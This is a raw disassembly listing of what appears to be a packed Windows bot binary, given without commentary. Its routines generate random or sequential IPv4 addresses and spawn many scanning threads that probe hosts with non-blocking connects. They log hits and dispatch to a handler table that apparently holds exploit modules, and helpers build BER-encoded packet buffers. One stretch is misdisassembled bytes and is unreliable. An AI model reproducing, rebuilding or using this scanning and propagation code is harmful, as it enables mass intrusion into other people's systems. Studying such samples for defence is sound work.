; Attributes: bp-based frame


sub_40BEB3	proc near		; CODE XREF: sub_40C034:loc_40C0A5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D1340h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D1118	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D11EC	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	near ptr sub_41C9B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BEB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEFB	proc near		; CODE XREF: sub_40C034+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B890
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40BF23
		xor	eax, eax
		jmp	short loc_40BF94
; ---------------------------------------------------------------------------


loc_40BF23:				; CODE XREF: sub_40BEFB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE5
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40BF50
		call	sub_41BF92
		mov	[ebp+var_C], eax


loc_40BF50:				; CODE XREF: sub_40BEFB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40BF5D
		call	sub_41BF92
		mov	[ebp+var_8], eax


loc_40BF5D:				; CODE XREF: sub_40BEFB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40BF6A
		call	sub_41BF92
		mov	[ebp+var_4], eax


loc_40BF6A:				; CODE XREF: sub_40BEFB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40BF76
		call	sub_41BF92


loc_40BF76:				; CODE XREF: sub_40BEFB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D1340[ecx*8], eax


loc_40BF94:				; CODE XREF: sub_40BEFB+26j
		pop	esi
		leave
		retn
sub_40BEFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF97	proc near		; CODE XREF: .nsp0:0040B80Ep
					; sub_40C034+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4D1270	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40BFC0
		xor	eax, eax
		jmp	short loc_40C02F
; ---------------------------------------------------------------------------


loc_40BFC0:				; CODE XREF: sub_40BF97+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D128C	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4D1198	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4D11D8	; select
		push	esi
		mov	edi, eax
		call	dword_4D1288	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C02F:				; CODE XREF: sub_40BF97+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C034	proc near		; DATA XREF: .nsp0:0040C383o

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41BF88
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C07B:				; CODE XREF: sub_40C034+200j
		mov	eax, dword_444124[ebx]
		cmp	dword_4D1344[eax*8], 0
		jz	loc_40C239
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C0A5
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BEFB
		pop	ecx
		jmp	short loc_40C0AA
; ---------------------------------------------------------------------------


loc_40C0A5:				; CODE XREF: sub_40C034+60j
		call	sub_40BEB3


loc_40C0AA:				; CODE XREF: sub_40C034+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_444124[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4387F4
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_443F20[ebx]
		push	eax
		call	sub_41BF36
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40BF97
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C229
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C17E
		push	offset dword_4D3340
		call	dword_4270D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4387CC
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C160
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C154
		lea	eax, [ebp+var_140]


loc_40C154:				; CODE XREF: sub_40C034+118j
		push	eax
		push	[ebp+var_40]
		call	sub_4099D2
		add	esp, 14h


loc_40C160:				; CODE XREF: sub_40C034+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4157A6
		mov	[esp+2A8h+var_2A8], offset dword_4D3340
		call	dword_4270D0	; RtlLeaveCriticalSection
		jmp	loc_40C229
; ---------------------------------------------------------------------------


loc_40C17E:				; CODE XREF: sub_40C034+CDj
		push	edi
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C1C2
		lea	eax, [ebp+var_140]


loc_40C1C2:				; CODE XREF: sub_40C034+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41BF36
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43804C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C229:				; CODE XREF: sub_40C034+C3j
					; sub_40C034+145j
		push	7D0h
		call	dword_427064	; Sleep
		jmp	loc_40C07B
; ---------------------------------------------------------------------------


loc_40C239:				; CODE XREF: sub_40C034+55j
		push	esi
		call	sub_40B32A
		pop	ecx
		push	0
		call	near ptr 0B40000h


loc_40C247:				; DATA XREF: .nsp0:00403A4Fo
					; .nsp0:004076ABo
		mov	ebx, 81EC8B55h
sub_40C034	endp ; sp-analysis failed

		in	al, dx
		int	3		; Trap to Debugger
		add	[eax], eax
		add	[ebx+56530845h], cl
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword_4D1230	; inet_addr
		mov	ecx, [ebp-2Ch]
		sub	esp, 14Ch
		lea	esi, [ebp-14Ch]
		push	53h
		mov	dword_4D1340[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	near ptr sub_40B9DD
		push	0Bh
		call	sub_40B256
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C316
		mov	esi, offset dword_4D3340
		push	esi
		call	dword_4270DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4270D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C316
		lea	eax, [ebp-1CCh]
		push	offset unk_4388D8
		push	eax
		call	sub_41BF36
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp-10h], ebx
		pop	ecx
		jnz	short loc_40C300
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4099D2
		add	esp, 14h


loc_40C300:				; CODE XREF: .nsp0:0040C2E1j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C316:				; CODE XREF: .nsp0:0040C2ABj
					; .nsp0:0040C2C7j
		mov	eax, [ebp-2Ch]
		mov	esi, dword_427064
		mov	edi, ebx
		mov	dword_4D1344[eax*8], ebx
		xor	ebx, ebx
		cmp	dword ptr [ebp-20h], 1
		jb	loc_40C3E3


loc_40C334:				; CODE XREF: .nsp0:0040C3DDj
		push	edi
		lea	eax, [ebp-14Ch]
		push	dword ptr [ebp-2Ch]
		mov	[ebp-24h], edi
		push	dword ptr [ebp-38h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_4388A4
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-1CCh]
		push	0Bh
		push	eax
		call	sub_40B00E
		mov	[ebp-28h], eax
		imul	eax, 234h
		mov	ecx, [ebp-2Ch]
		add	esp, 24h
		mov	dword_444124[eax], ecx
		lea	eax, [ebp-14Ch]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C034
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-28h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40C3AE


loc_40C3A3:				; CODE XREF: .nsp0:0040C3ACj
		cmp	[ebp-4], ebx
		jnz	short loc_40C3D5
		push	1Eh
		call	esi ; dword_427064
		jmp	short loc_40C3A3
; ---------------------------------------------------------------------------


loc_40C3AE:				; CODE XREF: .nsp0:0040C3A1j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_43886C
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		add	esp, 10h


loc_40C3D5:				; CODE XREF: .nsp0:0040C3A6j
		push	1Eh
		call	esi ; dword_427064
		inc	edi
		cmp	edi, [ebp-20h]
		jbe	loc_40C334


loc_40C3E3:				; CODE XREF: .nsp0:0040C32Ej
		cmp	[ebp-30h], ebx
		jz	loc_40C48D
		mov	eax, [ebp-30h]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_427064


loc_40C3F8:				; CODE XREF: .nsp0:0040C498j
		push	dword ptr [ebp-30h]
		mov	eax, [ebp-2Ch]
		push	dword ptr [ebp-38h]
		mov	eax, dword_4D1340[eax*8]
		push	eax
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_43882C
		push	eax
		call	sub_41BF36
		add	esp, 14h
		cmp	[ebp-10h], ebx
		jnz	short loc_40C446
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_4099D2
		add	esp, 14h


loc_40C446:				; CODE XREF: .nsp0:0040C427j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_4157A6
		mov	eax, [ebp-2Ch]
		mov	dword ptr [esp], 0BB8h
		mov	dword_4D1344[eax*8], ebx
		call	esi ; dword_427064
		push	0Bh
		call	sub_40B256
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C47D
		push	offset dword_4D3340
		call	dword_4270DC	; RtlDeleteCriticalSection


loc_40C47D:				; CODE XREF: .nsp0:0040C470j
		push	dword ptr [ebp-2Ch]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		pop	eax


loc_40C48D:				; CODE XREF: .nsp0:0040C3E6j
					; .nsp0:0040C4A5j
		mov	eax, [ebp-2Ch]
		cmp	dword_4D1344[eax*8], 1
		jnz	loc_40C3F8
		push	7D0h
		call	esi ; dword_427064
		jmp	short loc_40C48D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4A7	proc near		; DATA XREF: sub_40C574+7Bo
					; sub_40C665+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4D11F0	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4D1270	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C565
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D1198	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_44412C[ecx], esi
		jz	short loc_40C565
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4D127C	; inet_ntoa
		push	eax
		mov	edi, offset dword_4D3D04
		push	offset unk_43890C
		push	edi
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_4099D2
		push	edi
		call	sub_4157A6
		add	esp, 28h


loc_40C565:				; CODE XREF: sub_40C4A7+5Dj
					; sub_40C4A7+7Ej
		push	esi
		call	dword_4D1288	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C4A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C574	proc near		; DATA XREF: .nsp0:00407A9Bo

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_427064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C5A2:				; CODE XREF: sub_40C574+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_438934
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C4A7
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C60E


loc_40C603:				; CODE XREF: sub_40C574+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C60E
		push	32h
		call	esi ; dword_427064
		jmp	short loc_40C603
; ---------------------------------------------------------------------------


loc_40C60E:				; CODE XREF: sub_40C574+8Dj
					; sub_40C574+92j
		push	[ebp+var_4]
		call	dword_42706C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_427064
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D1118	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D11EC	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		jmp	loc_40C5A2
sub_40C574	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C665	proc near		; DATA XREF: .nsp0:004077B1o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_427064
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C693:				; CODE XREF: sub_40C665+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_438988
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BCA0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C4A7
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40C6FF


loc_40C6F4:				; CODE XREF: sub_40C665+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40C6FF
		push	32h
		call	esi ; dword_427064
		jmp	short loc_40C6F4
; ---------------------------------------------------------------------------


loc_40C6FF:				; CODE XREF: sub_40C665+8Dj
					; sub_40C665+92j
		push	[ebp+arg_0]
		call	dword_42706C	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi ; dword_427064
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40C726
		inc	[ebp+var_2C]
		jmp	loc_40C693
; ---------------------------------------------------------------------------


loc_40C726:				; CODE XREF: sub_40C665+B7j
		push	[ebp+var_1C]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_43895C
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_4099D2
		push	[ebp+var_20]
		call	sub_40B32A
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40C665	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C772	proc near		; CODE XREF: sub_40C9E6+Ep
					; sub_40C9E6+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C772	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C77C	proc near		; CODE XREF: sub_40C9E6+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C7AE
		push	ebx
		push	0
		push	edi
		call	sub_41BC40
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C7AE:				; CODE XREF: sub_40C77C+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C7B6	proc near		; CODE XREF: sub_40C8B0+18p
					; sub_40C92A+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C802
		push	edi
		push	0
		push	esi
		call	sub_41BC40
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	near ptr sub_41C9B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C802:				; CODE XREF: sub_40C7B6+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C7B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C80B	proc near		; CODE XREF: sub_40C8B0+5Ep
					; sub_40C8B0+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C81B
		push	eax
		call	sub_41B961
		pop	ecx


loc_40C81B:				; CODE XREF: sub_40C80B+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C80B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C824	proc near		; CODE XREF: sub_40C8B0+20p
					; sub_40C98B+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C851
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C855


loc_40C851:				; CODE XREF: sub_40C824+Dj
		xor	al, al
		jmp	short loc_40C8AC
; ---------------------------------------------------------------------------


loc_40C855:				; CODE XREF: sub_40C824+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BC40
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C87A
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C894
; ---------------------------------------------------------------------------


loc_40C87A:				; CODE XREF: sub_40C824+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C894:				; CODE XREF: sub_40C824+54j
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B961
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C8AC:				; CODE XREF: sub_40C824+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B0	proc near		; CODE XREF: sub_40C9E6+89p
					; sub_40C9E6+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4D10A8
		call	sub_40C7B6
		lea	ecx, [ebp+var_8]
		call	sub_40C824
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BBCB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C8EA
		xor	al, al
		jmp	short loc_40C926
; ---------------------------------------------------------------------------


loc_40C8EA:				; CODE XREF: sub_40C8B0+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BC40
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C80B
		mov	al, 1


loc_40C926:				; CODE XREF: sub_40C8B0+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C92A	proc near		; CODE XREF: sub_40C95E+14p
					; sub_40C97B+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C7B6
		mov	ecx, esi
		call	sub_40C80B
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40C92A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C95E	proc near		; CODE XREF: sub_40C9E6+F0p
					; sub_40C9E6+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B890
		pop	ecx
		push	eax
